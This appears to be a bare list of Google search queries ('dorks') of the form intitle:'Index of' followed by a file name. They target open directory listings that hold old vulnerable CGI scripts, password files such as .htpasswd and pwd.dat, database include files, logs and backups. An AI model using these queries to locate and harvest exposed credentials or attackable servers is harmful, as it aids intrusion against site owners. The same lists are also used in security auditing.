intitle:"Index of" php.cgi

intitle:"Index of" php

intitle:"Index of" nph-test-cgi

intitle:"Index of" handler

intitle:"Index of" webdist.cgi

intitle:"Index of" webgais

intitle:"Index of" websendmail

intitle:"Index of" faxsurvey

intitle:"Index of" htmlscript

intitle:"Index of" perl.exe

intitle:"Index of" wwwboard.pl

intitle:"Index of" www-sql

intitle:"Index of" view-source

intitle:"Index of" campas

intitle:"Index of" aglimpse

intitle:"Index of" glimpse

intitle:"Index of" man.sh

intitle:"Index of" AT-admin.cgi

intitle:"Index of" AT-generate.cgi

intitle:"Index of" filemail.pl

intitle:"Index of" maillist.pl

intitle:"Index of" info2www

intitle:"Index of" files.pl

intitle:"Index of" bnbform.cgi

intitle:"Index of" survey.cgi

intitle:"Index of" classifieds.cgi

intitle:"Index of" wrap

intitle:"Index of" cgiwrap

intitle:"Index of" edit.pl

intitle:"Index of" perl

intitle:"Index of" names.nsf

intitle:"Index of" webgais

intitle:"Index of" dumpenv.pl

intitle:"Index of" test.cgi

intitle:"Index of" submit.cgi

intitle:"Index of" submit.cgi

intitle:"Index of" guestbook.cgi

intitle:"Index of" guestbook.pl

intitle:"Index of" cachemgr.cgi

intitle:"Index of" responder.cgi

intitle:"Index of" perlshop.cgi

intitle:"Index of" query

intitle:"Index of" w3-msql

intitle:"Index of" plusmail

intitle:"Index of" htsearch

intitle:"Index of" infosrch.cgi

intitle:"Index of" publisher

intitle:"Index of" ultraboard.cgi

intitle:"Index of" db.cgi

intitle:"Index of" formmail.cgi

intitle:"Index of" allmanage.pl

intitle:"Index of" ssi

intitle:"Index of" adpassword.txt

intitle:"Index of" redirect.cgi

intitle:"Index of" f

intitle:"Index of" cvsweb.cgi

intitle:"Index of" login.jsp

intitle:"Index of" login.jsp

intitle:"Index of" dbconnect.inc

intitle:"Index of" admin

intitle:"Index of" htgrep

intitle:"Index of" wais.pl

intitle:"Index of" amadmin.pl

intitle:"Index of" subscribe.pl

intitle:"Index of" news.cgi

intitle:"Index of" auctionweaver.pl

intitle:"Index of" .htpasswd

intitle:"Index of" acid_main.php

intitle:"Index of" access_log

intitle:"Index of" access-log

intitle:"Index of" access.log

intitle:"Index of" log.htm

intitle:"Index of" log.html

intitle:"Index of" log.txt

intitle:"Index of" logfile

intitle:"Index of" logfile.htm

intitle:"Index of" logfile.html

intitle:"Index of" logfile.txt

intitle:"Index of" logger.html

intitle:"Index of" stat.htm

intitle:"Index of" stats.htm

intitle:"Index of" stats.html

intitle:"Index of" stats.txt

intitle:"Index of" webaccess.htm

intitle:"Index of" wwwstats.html

intitle:"Index of" source.asp

intitle:"Index of" perl

intitle:"Index of" mailto.cgi

intitle:"Index of" YaBB.pl

intitle:"Index of" mailform.pl

intitle:"Index of" cached_feed.cgi

intitle:"Index of" cr

intitle:"Index of" global.cgi

intitle:"Index of" Search.pl

intitle:"Index of" build.cgi

intitle:"Index of" common.php

intitle:"Index of" common.php

intitle:"Index of" show

intitle:"Index of" global.inc

intitle:"Index of" ad.cgi

intitle:"Index of" WSFTP.LOG

intitle:"Index of" index.html~

intitle:"Index of" index.php~

intitle:"Index of" index.html.bak

intitle:"Index of" index.php.bak

intitle:"Index of" print.cgi

intitle:"Index of" register.cgi

intitle:"Index of" webdriver

intitle:"Index of" bbs_forum.cgi

intitle:"Index of" mysql.class

intitle:"Index of" sendmail.inc

intitle:"Index of" CrazyWWWBoard.cgi

intitle:"Index of" search.pl

intitle:"Index of" way-board.cgi

intitle:"Index of" webpage.cgi

intitle:"Index of" pwd.dat

intitle:"Index of" adcycle

intitle:"Index of" post-query

intitle:"Index of" help.cgi